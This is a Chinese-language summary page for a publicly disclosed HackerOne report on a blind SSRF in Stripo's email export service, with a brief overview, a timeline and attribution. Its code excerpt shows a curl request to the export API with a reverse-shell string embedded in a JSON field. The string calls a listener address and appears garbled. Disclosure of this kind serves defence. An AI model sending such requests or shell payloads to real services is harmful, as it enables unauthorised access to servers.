[my.stripo.email] Blind SSRF Vulnerability in Stripo App Export via Missing Endpoints Export Email Message to Zapier
该报告还没有中文解读。
原文摘录
摘自原文（4068 字符中的一小部分）
Introduction Vulnerability Overview This presentation covers a critical Blind SSRF (Server-Side Request Forgery) vulnerability identified in Stripo's export service. SSRF vulnerabilities allow attackers to manipulate a server to make arbitrary requests to internal or external systems, potentially …
原文中的代码
curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
"id": 52027412,
"name": "sh -i & devtcp192.168.100.3 0&1",
"oAuthRequired": false,
"authLink": null,
"draft": false,
"destination": "WEBHOOK",
"properties": {
"headers": [ …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Stripo Inc 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @odaysec · 版权归作者与 Stripo Inc 所有